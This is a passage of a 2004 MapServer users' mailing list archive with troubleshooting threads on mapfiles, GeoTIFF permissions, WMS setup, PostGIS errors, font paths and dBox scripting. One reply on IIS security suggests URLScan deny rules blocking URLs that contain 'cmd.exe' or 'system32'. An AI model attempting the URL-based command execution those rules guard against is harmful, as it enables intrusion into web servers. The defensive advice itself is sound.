Thanks everyone for the help, it was greatly appreciated!

Mathieu

>> Mathieu,
>> Are these:
>>     LOG "path\to\htdocs\wmscascade\cascade.log"
>>     IMAGEPATH "path/to/htdocs/wmscascade/Images/"
>>      IMAGEURL "wmscascade/Images"
>>
>> Real paths on your machine?  They look like examples to me.
>>
>> Mine, on linux are set to:
>>  LOG /srv/www/htdocs/tmp/mapserver.log
>>  IMAGEPATH /srv/www/htdocs/tmp
>>  IMAGEURL /tmp
>>
>> This may be a problem for you?
>>  
>>
> I wrote those paths myself in the mail, they are different in my 
> scripts, and they correspond to actual directories on my machine.
>


-- 
----------------------------------------
Mathieu Levesque,
Programmeur-Analyste,
Centre Interdisciplinaire de D?veloppement
en Cartographie des Oc?ans (CIDCO),
310, All?e des Ursulines,
Rimouski, QC,
G5L 3A1
T?l: (418) 723-1986, ext. 1792
Fax: (418) 724-1842
Courriel: mathieu.levesque at cidco.ca




From jnielsen at aero-graphics.com  Tue Jan 20 10:54:17 2004
From: jnielsen at aero-graphics.com (Jason M. Nielsen)
Date: Tue, 20 Jan 2004 11:54:17 -0700
Subject: [Mapserver-users] Geo TIFFs
In-Reply-To: <400BFB52.7060506@pobox.com>
References: <1074277807.40082daf9177f@www.agi-lan.com> <40084016.4030902@pobox.com> <1074285753.40084cb9e3165@www.agi-lan.com> <40085DD3.6050408@pobox.com> <1074294275.40086e03aa4bb@www.agi-lan.com> <400BFB52.7060506@pobox.com>
Message-ID: <1074624857.400d79593c711@www.agi-lan.com>

Quoting Frank Warmerdam :

> Jason M. Nielsen wrote:
> > Now INPUT=TIFF is gone as I presume it should be since GDAL will be being
> used?
> 
> Sounds good.
> 
> > Samething still occures. No errors. Image just simply does not display.
> > 
> > [root at vad3rZIM data]# gdalinfo top10c0.tif
> > Driver: GTiff/GeoTIFF
> > Size is 3854, 3773
> > Coordinate System is `'
> > Origin = (1512385.000000,7356162.500000)
> > Pixel Size = (10.000000,-10.000000)
> > Metadata:
> >   TIFFTAG_SOFTWARE=Adobe Photoshop 7.0
> >   TIFFTAG_DATETIME=2004:01:14 09:03:52
> > Corner Coordinates:
> > Upper Left  ( 1512385.000, 7356162.500) 
> > Lower Left  ( 1512385.000, 7318432.500) 
> > Upper Right ( 1550925.000, 7356162.500) 
> > Lower Right ( 1550925.000, 7318432.500) 
> > Center      ( 1531655.000, 7337297.500) 
> > Band 1 Block=3854x2 Type=Byte, ColorInterp=Red
> > Band 2 Block=3854x2 Type=Byte, ColorInterp=Green
> > Band 3 Block=3854x2 Type=Byte, ColorInterp=Blue
> 
> The first conclusion I leap to is that your map extents are wrong with
> regard
> to the raster file.  If you want further help it would be best to supply
> your
> complete mapfile, or a minimal complete mapfile that demonstrates your
> problem.
> I would also encourage you to run the mapfile through "shp2img" with as
> much
> debugging turned on as possible.
> 
> eg.
> $ export CPL_DEBUG=ON
> $ shp2img -all_debug 1 -m input.map -o output.png
> 
> > BTW, while Im on the subject and have the gdal info up here. I do not
> recall
> > seeing anyplace where I can directly reference this "Metadata:" section in
> the
> > TIFF. Is this possible through mapserv directly or would a script of the
> like
> > need to be written (ie: perl, php, python etc) that made use of the likes
> of
> > gdal_info to extract said information?
> 
> The metadata provided by GDAL is not trivially usable within MapServer. 
> However,
> it is accessable via the C/C++ and Python APIs for GDAL (perhaps the PHP
> bindings
> too? Though I think they may only exist for OGR, not GDAL).  You could also
> run gdalinfo externally and parse the output but thats kind of a clumsy
> solution.
> 
> Best regards,

Looks like I had a permission issue. Strange that it did not error out and tell
me it could not access the file. Seems to have always done that before. The file
was 440 and owned by root and group root. Anyhow I just changed its owner/group
and presto.  I could have sworn I looked at the permissions a dozen times.
Perhaps I mistakenly changed them when I was duplicating the directory so I
could always resort back to pervious versions of changes I had made. In either
case it was a PEBCAK.  Appreciate the help.

Thanks, Jason. 




-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/


From eric.sokolowsky at gsfc.nasa.gov  Tue Jan 20 11:22:38 2004
From: eric.sokolowsky at gsfc.nasa.gov (Eric Sokolowsky)
Date: Tue, 20 Jan 2004 14:22:38 -0500 (EST)
Subject: [Mapserver-users] simple mapserver configuration
Message-ID: 

I am trying to use mapserver as a simple WMS interface into data images
that I already have.  I would prefer to have a very light server that
does not reproject images or convert to different formats.  I tried to
set up mapserver and I got all of the pieces to compile.  The
capabilities is returned as expected.  However, when I try to use a wms
client or a web browser to formulate some queries, all I get is a blank
image.  Is mapserver capable of acting as a very light server?  How can
I use mapserver to serve any image that isn't blank?  My server's
location is listed here, if anyone is interested:

  http://svsdev.gsfc.nasa.gov/esok/cgi-bin/map?

When run locally, mapserv -v returns:

MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER INPUT=TIFF INPUT=EPPL7 INPUT=JPEG INPUT=GDAL INPUT=SHAPEFILE

Here's my map file:


# Start of wms.map file

MAP
  NAME SVS
  EXTENT -180 -90 180 90
  STATUS ON

  PROJECTION
    "init=epsg:4326"
  END

  WEB
    IMAGEPATH "/svs/share/data/de/data/"
    METADATA
      "wms_abstract" "This Web Mapping Server is provided by NASA's Scientific Visualization Studio at Goddard Space Flight Center in Greenbelt, Maryland, USA."
      "wms_accessconstraints" "none"
      "wms_fees" "none"
      "wms_onlineresource" "http://svsdev.gsfc.nasa.gov/esok/cgi-bin/map?"
      "wms_title" "NASA GSFC SVS Animation Catalog"
    END
    LOG "/tmp/mapserver.log"
  END
 
  OUTPUTFORMAT
    NAME png
    DRIVER "GD/PNG"
    MIMETYPE "image/png"
    IMAGEMODE RGB
    EXTENSION "png"
  END

  LAYER
    NAME "EARTH_GIF"
    TYPE RASTER
    STATUS ON
    DATA "earth.gif"
    METADATA
      "wms_title" "Earth gif"
      "wms_extent" "-110 -20 -70 20"
      "wms_opaque" "1"
    END
  END

  LAYER
    NAME "EARTH_JPEG"
    TYPE RASTER
    STATUS ON
    DATA "earth.jpeg"
    METADATA
      "wms_title" "Earth jpeg"
      "wms_extent" "-110 -20 -70 20"
    END
  END

  LAYER
    NAME "EARTH_JPG"
    TYPE RASTER
    STATUS ON
    DATA "earth.jpg"
    METADATA
      "wms_title" "Earth jpg"
      "wms_extent" "-110 -20 -70 20"
    END
  END

  LAYER
    NAME "EARTH_PNG"
    TYPE RASTER
    STATUS ON
    DATA "earth.png"
    METADATA
      "wms_title" "Earth png"
      "wms_extent" "-110 -20 -70 20"
    END
  END

  LAYER
    NAME "EARTH_PPM"
    TYPE RASTER
    STATUS ON
    DATA "earth.ppm"
    METADATA
      "wms_title" "Earth ppm"
      "wms_extent" "-110 -20 -70 20"
    END
  END

  LAYER
    NAME "EARTH_RGB"
    TYPE RASTER
    STATUS ON
    DATA "earth.rgb"
    METADATA
      "wms_title" "Earth rgb"
      "wms_extent" "-110 -20 -70 20"
    END
  END

  LAYER
    NAME "EARTH_TIF"
    TYPE RASTER
    STATUS ON
    DATA "earth.tif"
    METADATA
      "wms_title" "Earth tif"
      "wms_extent" "-110 -20 -70 20"
    END
  END

END

-- 
    ____   __     Eric Sokolowsky    (GST)  NASA Goddard Space Flight Center 
   / __/__/_/__  Visualization Programmer    Scientific Visualization Studio
  / __/ _/ / _/ 301.286.3751                  Mailstop 935.0 Bldg 28 Rm E102
 /___/_//_/__/ eric.sokolowsky at gsfc.nasa.gov   Greenbelt, MD 20771



From AArace at geonetics.com  Tue Jan 20 11:44:17 2004
From: AArace at geonetics.com (Andrew Arace)
Date: Tue, 20 Jan 2004 14:44:17 -0500
Subject: [Mapserver-users] Mapserver Security Issues
Message-ID: 

Michael Smith,
I have run into security concerns with IIS and cgi directories blocking
paths to .exe files.
There are two main things you need to do, 
First, if mapserver is running from a virtual directory (such as
Scripts) make sure that the virtual directory properties has "Scripts
and Executables" selected for execute rights.

Second is security issues with URLScan. 
It seems with IIS 5 on win2000,  there is a program that is installed
to protect your webserver from malformed URL attacks. the program is URL
Scan, and info can be found on the microsoft site here:
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/tools/urlscan.asp


It basically blocks any attempt to execute an EXE on the server, as
well as other malformed urls. You need to change a setting in the config
file, it is in your system23 dirctory, under 
inetsrv\urlscan

Read the microsoft documentation on the settings.

To secure my server, I allowed exe execution, but put cases into the
DenyUrlSequences section to deny any attempts for URL's to execute
'cmd.exe', or any url containing 'winnt' 'system32' etc. etc.

Hope this helps,
-Andrew


--
Andrew Arace
aarace at geonetics.com 
Software Engineer
Geonetics, Inc
(617) 896 - 4409

>>> "Michael Smith"  11:10:02 AM Tuesday,
January 20, 2004 >>>
Hi all,

I plan on running Mapserver on a Windows 2003 Server running IIS 6. 
What
security issues should be considered for running Mapserver since I
assume
many of you are currently hosting Mapserver on your webs.  Does anyone
have
and suggestions, considerations, or web sites with any info on this?

One issue my IT dept. suggested was housing my "data" directory outside
of
my IIS wwwroot folder...is this a security concern?

Michael Smith, Planner II
City of San Angelo
Planning & Development
325.657.4210 Fax: 325.481.2648
Email: msmith at sanangelompo.org 

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu 
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users 


Disclaimer Notice: This message contains confidential information and is intended only for the individual named. If you are not the named addressee you should not disseminate, distribute, or copy this e-mail. Please notify the sender immediately if you have received this e-mail by mistake and delete this e-mail from your system. E-mail transmission cannot be guaranteed to be secure or error free as information can be intercepted, corrupted, lost, destroyed, arrive late or incomplete, or contain viruses. The sender therefore does not accept liability for any errors or omissions in the contents of this message, which arise as a result of e-mail transmission. If verification is required please request a hard copy version. BSC Companies, Inc.; BSC Group, Inc.; Geonetics, Inc.; TerraSphere, Inc. 15 Elkins Street Boston, Massachusetts 02127 USA. www.BSCGroup.com. 
http://www.bscgroup.com/


From jnielsen at aero-graphics.com  Tue Jan 20 11:45:24 2004
From: jnielsen at aero-graphics.com (Jason M. Nielsen)
Date: Tue, 20 Jan 2004 12:45:24 -0700
Subject: [Mapserver-users] Error with MapServer and PostGIS in Query
In-Reply-To: <1074557126.400c70c681661@fiona.procalculo.com>
References: <1074557126.400c70c681661@fiona.procalculo.com>
Message-ID: <1074627924.400d85547713a@www.agi-lan.com>

Quoting rsanabria at prosis.com:

> Hi,
> 
> I'm trying to execute a spatial query with MapServer on PostGIS and I
> received
> the following error message:
> 
> 
> Content-type: text/html  msPOSTGISLayerGetShape(): Query error. Error
> executing
> POSTGIS SQL statement (in FETCH ALL): EXPLAIN VERBOSE SELECT * FROM nfs -
> Error
> with POSTGIS data variable. You specified ''.
> Standard ways of specifiying are :
> (1) 'geometry_column from geometry_table'
> (2) 'geometry_column from () as foo using unique 
> using
> SRID='
> 
> Make sure you put in the 'using unique ' and 'using SRID=#'
> clauses in.
> 
> For more help, please see http://postgis.refractions.net/documentation.php
> 
> Mappostgis.c - version of Nov 15/2002.
> 
> I read the postgis documentation and I tried to create the indexes for the
> table
> but it didn't work, I created the indexes the following way:
> 
> CREATE INDEX inx_nfs ON nfs ( oid );
> CREATE INDEX GIST_inx_nfs ON nfs USING GIST (the_geom GIST_GEOMETRY_OPS );
> 
> where nfs is our table.
> 
> The definition of the layer in the map file is:
> 
>  LAYER # States polygon layer begins here
>     NAME         nfs
>     CONNECTIONTYPE postgis
>     CONNECTION   "user=xxxx dbname=xxxxx"
>     DATA         "the_geom from nfs"
>     STATUS       OFF
>     TYPE         POLYGON
> 
>     CLASS
>       COLOR        255 0 0
>       OUTLINECOLOR 0 0 0
>       NAME "Ninos Fuera del Sistema"
>       TEMPLATE "nfs.html"
>     END
>     
>     HEADER "nfs_header.html"
>     FOOTER "nfs_footer.html"
>     
>     TOLERANCE 3
>     
>     DUMP TRUE
>     
>   END
>   
> 
> Some idea?
> 
> Thanks a lot!
> 
> Ricardo
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 

Assuming you are on a *nix system. Does your user "xxxx" exist as a real user on
the system as well as in the database? Also does this user have the proper
privledges to the database you are using? I had this exact same issue and it was
because of that. For a real quick test you can just try using the admin users
Postgresql is using (ie: postgres). Obviously do NOT leave it this way though
but it will instantly tell you if thats the problem.  If that is the issue there
is a post in the mailing list on methods to make it work. 1) Make the user
locally. 2)Use the pg_ident.conf etc to setup the user.  Method 2 is the
recommended method.

The indexes as far as I know are simply to speed things up but are not required.

-jason

-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/


From bartvde at xs4all.nl  Tue Jan 20 11:52:02 2004
From: bartvde at xs4all.nl (Bart van den Eijnden)
Date: Tue, 20 Jan 2004 20:52:02 +0100
Subject: [Mapserver-users] SVG versus Flash
Message-ID: 

Hi list,

if you want to use vector-based clients, Mapserver basically has 2 options:

1. use Flash swf output
2. use GML output on the WFS interface and transform this into SVG (xslt)

Can anybody name some strong or weak points of both techniques, and are 
there any working implementations out there?

I know there is a very good comparison at:
http://www.carto.net/papers/svg/comparison_flash_svg/

but I am just wondering if anybody has some experience with this choice or 
even with both techniques and Mapserver.

Thanks in advance for any input on this.

Best regards,
Bart


From stephen.clark at focus.ca  Tue Jan 20 13:25:53 2004
From: stephen.clark at focus.ca (Stephen Clark)
Date: Tue, 20 Jan 2004 13:25:53 -0800
Subject: [Mapserver-users] Has anyone setup GRASS + Mapserver on Windows 2000 ?
References: 
Message-ID: <031101c3df9b$fbf4df80$6c000a0a@sclark>

This is a multi-part message in MIME format.

------=_NextPart_000_030E_01C3DF58.ED9D2200
Content-Type: text/plain;
	charset="iso-8859-15"
Content-Transfer-Encoding: quoted-printable

Hi all,

I am wondering if there is anyone has setup GRASS + Mapserver on Windows =
2000 ?

thanks
Stephen
------=_NextPart_000_030E_01C3DF58.ED9D2200
Content-Type: text/html;
	charset="iso-8859-15"
Content-Transfer-Encoding: quoted-printable









Hi all,


 


I am wondering if there is anyone has =
setup GRASS +=20
Mapserver on Windows 2000 ?


 


thanks


Stephen


------=_NextPart_000_030E_01C3DF58.ED9D2200--



From nacional at cbs.umn.edu  Tue Jan 20 13:27:32 2004
From: nacional at cbs.umn.edu (Pericles Nacionales)
Date: Tue, 20 Jan 2004 15:27:32 -0600 (CST)
Subject: [Mapserver-users] simple mapserver configuration
In-Reply-To: 
References: 
Message-ID: 

Eric,

I don't know if this is relevant in WMS servers or not but how about
adding IMAGEURL in your WEB object?  By the way, does your app generate a
map with a standard MapServer CGI url, ie:
http://svsdev.gsfc.nasa.gov/esok/cgi-bin/map?map=/path/to/your/mapfile.map&layer=EARTH_PNG&mode=map

Another question, did you check that your IMAGEPATH (IMAGEURL) is
writeable by your web server's user/owner?

Cheers!
-Perry N.

On Tue, 20 Jan 2004, Eric Sokolowsky wrote:

> I am trying to use mapserver as a simple WMS interface into data images
> that I already have.  I would prefer to have a very light server that
> does not reproject images or convert to different formats.  I tried to
> set up mapserver and I got all of the pieces to compile.  The
> capabilities is returned as expected.  However, when I try to use a wms
> client or a web browser to formulate some queries, all I get is a blank
> image.  Is mapserver capable of acting as a very light server?  How can
> I use mapserver to serve any image that isn't blank?  My server's
> location is listed here, if anyone is interested:
>
>   http://svsdev.gsfc.nasa.gov/esok/cgi-bin/map?
>
> When run locally, mapserv -v returns:
>
> MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER INPUT=TIFF INPUT=EPPL7 INPUT=JPEG INPUT=GDAL INPUT=SHAPEFILE
>
> Here's my map file:
>
>
> # Start of wms.map file
>
> MAP
>   NAME SVS
>   EXTENT -180 -90 180 90
>   STATUS ON
>
>   PROJECTION
>     "init=epsg:4326"
>   END
>
>   WEB
>     IMAGEPATH "/svs/share/data/de/data/"
>     METADATA
>       "wms_abstract" "This Web Mapping Server is provided by NASA's Scientific Visualization Studio at Goddard Space Flight Center in Greenbelt, Maryland, USA."
>       "wms_accessconstraints" "none"
>       "wms_fees" "none"
>       "wms_onlineresource" "http://svsdev.gsfc.nasa.gov/esok/cgi-bin/map?"
>       "wms_title" "NASA GSFC SVS Animation Catalog"
>     END
>     LOG "/tmp/mapserver.log"
>   END
>
>   OUTPUTFORMAT
>     NAME png
>     DRIVER "GD/PNG"
>     MIMETYPE "image/png"
>     IMAGEMODE RGB
>     EXTENSION "png"
>   END
>
>   LAYER
>     NAME "EARTH_GIF"
>     TYPE RASTER
>     STATUS ON
>     DATA "earth.gif"
>     METADATA
>       "wms_title" "Earth gif"
>       "wms_extent" "-110 -20 -70 20"
>       "wms_opaque" "1"
>     END
>   END
>
>   LAYER
>     NAME "EARTH_JPEG"
>     TYPE RASTER
>     STATUS ON
>     DATA "earth.jpeg"
>     METADATA
>       "wms_title" "Earth jpeg"
>       "wms_extent" "-110 -20 -70 20"
>     END
>   END
>
>   LAYER
>     NAME "EARTH_JPG"
>     TYPE RASTER
>     STATUS ON
>     DATA "earth.jpg"
>     METADATA
>       "wms_title" "Earth jpg"
>       "wms_extent" "-110 -20 -70 20"
>     END
>   END
>
>   LAYER
>     NAME "EARTH_PNG"
>     TYPE RASTER
>     STATUS ON
>     DATA "earth.png"
>     METADATA
>       "wms_title" "Earth png"
>       "wms_extent" "-110 -20 -70 20"
>     END
>   END
>
>   LAYER
>     NAME "EARTH_PPM"
>     TYPE RASTER
>     STATUS ON
>     DATA "earth.ppm"
>     METADATA
>       "wms_title" "Earth ppm"
>       "wms_extent" "-110 -20 -70 20"
>     END
>   END
>
>   LAYER
>     NAME "EARTH_RGB"
>     TYPE RASTER
>     STATUS ON
>     DATA "earth.rgb"
>     METADATA
>       "wms_title" "Earth rgb"
>       "wms_extent" "-110 -20 -70 20"
>     END
>   END
>
>   LAYER
>     NAME "EARTH_TIF"
>     TYPE RASTER
>     STATUS ON
>     DATA "earth.tif"
>     METADATA
>       "wms_title" "Earth tif"
>       "wms_extent" "-110 -20 -70 20"
>     END
>   END
>
> END
>
> --
>     ____   __     Eric Sokolowsky    (GST)  NASA Goddard Space Flight Center
>    / __/__/_/__  Visualization Programmer    Scientific Visualization Studio
>   / __/ _/ / _/ 301.286.3751                  Mailstop 935.0 Bldg 28 Rm E102
>  /___/_//_/__/ eric.sokolowsky at gsfc.nasa.gov   Greenbelt, MD 20771
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>


From eduardo at consultoria.eti.br  Tue Jan 20 14:18:46 2004
From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae)
Date: Tue, 20 Jan 2004 20:18:46 -0200
Subject: [Mapserver-users] TrueType ERROR
Message-ID: <20040120221846.24485.qmail@hm47.locaweb.com.br>

I'm getting trouble on trying to plot some TrueType labels over an annotation layer.

my application is set at the physical path C:\Program Files\Apache Group\Apache2\htdocs\loteamentos\

inside this path, there's the fontset file ( fontset.txt ) which contains:
------------
arial arial.ttf
----------------
and the arial.ttf file is in this same path

I also tried using:
arial C:\Program Files\Apache Group\Apache2\htdocs\loteamentos\aria.ttf

but it didn't work too.

my mapfile is :

++++++++++++

MAP
    NAME "loteamento_001" # VARIAVEL
    EXTENT  106.552 28.751 593.775 264.341 # VARIAVEL
    FONTSET "C:\Program Files\Apache Group\Apache2\htdocs\loteamentos\fontset.txt"
    IMAGECOLOR  255 255 255 
    IMAGETYPE    PNG # tipo das imagens a serem geradas
    INTERLACE    ON
    SHAPEPATH    "C:\Program Files\Apache Group\Apache2\htdocs\loteamentos\loteamento_001"# VARIAVEL
    SIZE 600 400
    STATUS ON
    # SYMBOLSET 
    UNITS METERS
    
    WEB
        #EMPTY "/loteamentos/web_empty.html"
        #ERROR "/loteamentos/web_error.html"
        #HEADER # para Query mode
        #FOOTER # para Query mode
        IMAGEPATH       "C:\Program Files\Apache Group\Apache2\htdocs\tmp\"
        IMAGEURL    "/tmp/"
        LOG     "C:\Program Files\Apache Group\Apache2\htdocs\tmp\loteamento_001.log" # VARIAVEL
        MINSCALE 100   
        MAXSCALE 10000
        TEMPLATE "C:\Program Files\Apache Group\Apache2\htdocs\loteamentos\web_template.html"
    END
    
    SCALEBAR # inicia a defini??o do objeto ScaleBar ( Barra de Escala)
        COLOR          0 0 0 # cor da barra de escala
        IMAGECOLOR    255 255 255 #cor de fundo da imagem da barra de escala
        INTERVALS      3 #n?mero de segmentos que a barra de escala ter?
        LABEL # inicia a defini??o de objeto Label . AVISO: o objeto ScaleBar aceita apenas labels do tipo BITMAP
            COLOR        0 0 0 # cor do texto
            SIZE        SMALL # tamanho do texto
        END # finaliza MAP_SCALEBAR_LABEL
        OUTLINECOLOR  0 0 0 # cor de cortorno da barra de escala
        SIZE          300 3 # larguraXaltura da barra de escala
        STATUS        ON # define se a imagem tempor?ria da Barra de escala dever? ser criada
        STYLE          0 # estilo da barra de escala : 0 = bar style | 1 = line style
        UNITS          METERS #unidade dos valores da barra de escala
    END # finaliza MAP_SCALEBAR
    
    LEGEND # inicia a defini??o do objeto LEGEND
        IMAGECOLOR    255 255 255 #cor de fundo da imagem da legenda
        LABEL # inicia a defini??o de objeto LABEL
            #ANTIALIAS    TRUE # usar antialias? fica melhor, e consequentemente um pouco maior(o tamanho em bytes da imagem) q textos sem antialias
            COLOR        0 0 0 #cor do texto
            #FONT        "arial" # nome da fonte( previamente definida no fontset)
            SIZE        SMALL #8 # tamanho do texto
            TYPE        BITMAP #TRUETYPE # tipo do texto
        END
        KEYSIZE        15 12 # tamanho dos simbolos da legenda ( larguraXaltura )
        STATUS        ON # define se a imagem temporaria da legenda deve ser criada
    END # finaliza MAP_LEGEND

    LAYER
        NAME    "layLoteamento"
        TYPE    POLYGON
        DATA    "loteamento"
        STATUS  DEFAULT
        CLASS
            NAME    "Loteamento"
            OUTLINECOLOR 0 0 0
            COLOR        192 192 192
        END
    END
    
    LAYER
        NAME    "layQuadra"
        TYPE    POLYGON
        DATA    "quadra"
        STATUS  DEFAULT
        CLASS
            NAME    "Quadras"
            OUTLINECOLOR 32 32 32
            COLOR        255 247 145
        END
    END
    
    LAYER
        NAME    "layLote"
        TYPE    POLYGON
        DATA    "lotes"
        STATUS  OFF
        CLASSITEM "STATUS"
        CLASS
            EXPRESSION "V"
            NAME    "Vendido"
            OUTLINECOLOR 64 64 64
            COLOR        255 127 127
        END
        CLASS
            EXPRESSION "R"
            NAME    "Reservado"
            OUTLINECOLOR 64 64 64
            COLOR        255 170 0
        END
        CLASS
            EXPRESSION "L"
            NAME    "Livre"
            OUTLINECOLOR 64 64 64
            COLOR        76 230 0
        END
    END
    
    LAYER
        NAME    "layLote"
        TYPE    ANNOTATION
        DATA    "lotes"
        STATUS  OFF
        CLASSITEM "STATUS"
        LABELMAXSCALE 1000
        CLASS
            EXPRESSION "V"
            OUTLINECOLOR -1 -1 -1
            COLOR        -1 -1 -1
            TEXT "Vendido"
            LABEL
                TYPE BITMAP
                SIZE SMALL
                COLOR 0 0 0
                FORCE TRUE
                SHADOWCOLOR 192 192 192
                POSITION CC
            END
        END
        CLASS
            EXPRESSION "R"
            OUTLINECOLOR -1 -1 -1
            COLOR        -1 -1 -1
            TEXT "Reservado"
            LABEL
                TYPE BITMAP
                SIZE SMALL
                COLOR 0 0 0
                FORCE TRUE
                SHADOWCOLOR 192 192 192
                POSITION CC
            END
        END
        CLASS
            EXPRESSION "L"
            OUTLINECOLOR -1 -1 -1
            COLOR        -1 -1 -1
            TEXT "Livre"
            LABEL
                TYPE TRUETYPE #BITMAP
                SIZE 9 #SMALL
                FONT "arial"
                COLOR 0 0 0
                FORCE TRUE
                SHADOWCOLOR 192 192 192
                POSITION CC
            END
        END
    END
    
    LAYER
        NAME    "layRede"
        TYPE    LINE
        DATA    "rede"
        STATUS  OFF
        CLASSITEM   "EXEC"
        CLASS
            EXPRESSION  "S"
            NAME    "Executado" 
            COLOR        0 0 255
        END
        CLASS
            EXPRESSION  "N"
            NAME    "N?o-executado" 
            COLOR        255 0 0
        END
    END
END

+++++++++++++


but, why on earth it keeps crashing? I can't find the error until this moment.


thanks in advance.


Eduardo Patto Kanegae
+Homepage:http://www.consultoria.eti.br   ( BRASIL )
+Perfil:http://www.consultoria.eti.br/ptbr/epk.php
*F?rum ptMapServer - http://www.consultoria.eti.br/mapserverptforum/ - "Discuss?es relacionadas ao MapServer"
*ClickBrasil - http://www.consultoria.eti.br/clickbrasil/  - "Mapas do Brasil com dados censit?rios"
***************************************
***Fim da Mensagem / End of Message ***
***************************************






From nacional at cbs.umn.edu  Tue Jan 20 14:21:34 2004
From: nacional at cbs.umn.edu (Pericles Nacionales)
Date: Tue, 20 Jan 2004 16:21:34 -0600 (CST)
Subject: [Mapserver-users] Has anyone setup GRASS + Mapserver on Windows
 2000 ?
In-Reply-To: <031101c3df9b$fbf4df80$6c000a0a@sclark>
References:  <031101c3df9b$fbf4df80$6c000a0a@sclark>
Message-ID: 

Stephen,

If I haven't completely switched to GNU/Linux I probably would have.
Anyway, I can give you an advice if you're planning to go that route.  The
easiest way to do it is to compile everything under cygwin--GRASS,
MapServer, and all the libraries needed (GDAL, PROJ, GD2, etc).  You can
then use apache or IIS servers but make sure to avoid having spaces on
your path names.  So, no "C:/Program Files/Apache Group/Apache/htdocs".
Instead, install apache directly on "C:\" to get "C:/Apache/htdocs".  I
don't think you have that problem with IIS since the default
directory--"C:\Inetpub\wwwroot"--doesn't contain spaces.  There is also a
version of apache compiled under cygwin.  You can use that instead.

Of course, you can just try compiling libgrass natively on Windows.  Then
you can can try compiling it with GDAL.  If it compiles without problems,
I'd take my "compiling under cygwin is the easiest way" statement back.
The rest is just a matter of finding out how to use GRASS data in
MapServer:
http://lists.gis.umn.edu/pipermail/mapserver-users/2003-April/003454.html

Good luck!
-Perry N.


On Tue, 20 Jan 2004, Stephen Clark wrote:

> Hi all,
>
> I am wondering if there is anyone has setup GRASS + Mapserver on Windows 2000 ?
>
> thanks
> Stephen


From TMitchell at lignum.com  Tue Jan 20 16:14:07 2004
From: TMitchell at lignum.com (Tyler Mitchell)
Date: Tue, 20 Jan 2004 16:14:07 -0800
Subject: [Mapserver-users] TrueType ERROR
In-Reply-To: <20040120221846.24485.qmail@hm47.locaweb.com.br>
Message-ID: 





mapserver-users-admin at lists.gis.umn.edu wrote on 01/20/2004 02:18:46 PM:

> I'm getting trouble on trying to plot some TrueType labels over an
> annotation layer.
>
> my application is set at the physical path C:\Program Files\Apache
> Group\Apache2\htdocs\loteamentos\
>
> inside this path, there's the fontset file ( fontset.txt ) which
contains:
> ------------
> arial arial.ttf
> ----------------
> and the arial.ttf file is in this same path
>
> I also tried using:
> arial C:\Program Files\Apache Group\Apache2\htdocs\loteamentos\aria.ttf
>
> but it didn't work too.


What error are you getting?  I bet it won't like the spaces in the full
path name.
Try "quoting" the full path name.  Also, I notice in your above example
that you have a typo:
....\aria.ttf  - I assume you have it right in your fontset.txt file :)
You may also want to try specifying your path like:
"/Program Files/Apache Group/Apache2/htdocs/loteamentos/arial.ttf" - as
long as your mapserver app is on the same drive it should work.
One more idea is to use "short filenames" like:
"/Progra~1/Apache~1/Apache2/htdocs/loteamentos/arial.ttf".

As you may have noticed, I haven't the slightest clue what your problem
might be :)  Hope these might help anyway.

Tyler



From jnielsen at aero-graphics.com  Tue Jan 20 16:20:57 2004
From: jnielsen at aero-graphics.com (Jason M. Nielsen)
Date: Tue, 20 Jan 2004 17:20:57 -0700
Subject: [Mapserver-users] dBox questions.
Message-ID: <1074644457.400dc5e9e1ff0@www.agi-lan.com>

I grabbed the example setup that makes use of the demo and have been slowly but
surely adapting the itasca_adds_dhtml.html to my own needs. I am running into a
few problems though.

1)The generation of scalebars only happens once in Mozilla or IE. After you zoom
via a rubberband box they display. After that they never do. In NS 4.7 they
redraw but print some pretty wacky scales. After looking through the code and
comments it is indicated that predraw() is called automatically and it indeed
is. Has anyone else seen this happen? The code looks fine, I see no errors in
the console yet its not redrawing the scalebars. In addition the legend is
called to be updated via predraw and it seems to work fine.

2)The [program] variable is used in many places and I have it set at the
sametime I set several other variables. All of these variables are usable in
other pages but [program] refuses to be replaced inline with its value. Although
the use of getargs and referencing args.program works fine. Is there anything
special about the program variable? I literally have 2 vars set before and 2
after in a form and they all work even in the same pages I attempt to use [program].

3)Im a bit confused on just how one would get a coordinate readout in the
window.status bar. 
  function mousemove_handler(name, x, y) {
    window.status = "UTM Coordinates: x=" + Math.round(Number(ms.extent[0] +
x*ms.cellsize)) + " and y=" + Math.round(Number(ms.extent[3] - y*ms.cellsize));
  }

Its a function included with the demo. A bit of research indicates in dbox.js
mousemove_handler will be called if it exists seemingly as part of default event
handlers implemented in dbox. Basically I cant seem to get this to work. Any hints?

I have the same issues using the default workshop archive as well.

Thanks, Jason

-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/


From jnielsen at aero-graphics.com  Tue Jan 20 17:10:15 2004
From: jnielsen at aero-graphics.com (Jason M. Nielsen)
Date: Tue, 20 Jan 2004 18:10:15 -0700
Subject: [Mapserver-users] dBox questions.
In-Reply-To: <1074644457.400dc5e9e1ff0@www.agi-lan.com>
References: <1074644457.400dc5e9e1ff0@www.agi-lan.com>
Message-ID: <1074647415.400dd1772e439@www.agi-lan.com>

 
> 3)Im a bit confused on just how one would get a coordinate readout in the
> window.status bar. 
>   function mousemove_handler(name, x, y) {
>     window.status = "UTM Coordinates: x=" + Math.round(Number(ms.extent[0]

Got this one of the three working. Had to turn verbose on for the drawable..

-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/


From hi_ono2001 at ybb.ne.jp  Tue Jan 20 17:49:26 2004
From: hi_ono2001 at ybb.ne.jp (Hisaji Ono)
Date: Wed, 21 Jan 2004 10:49:26 +0900
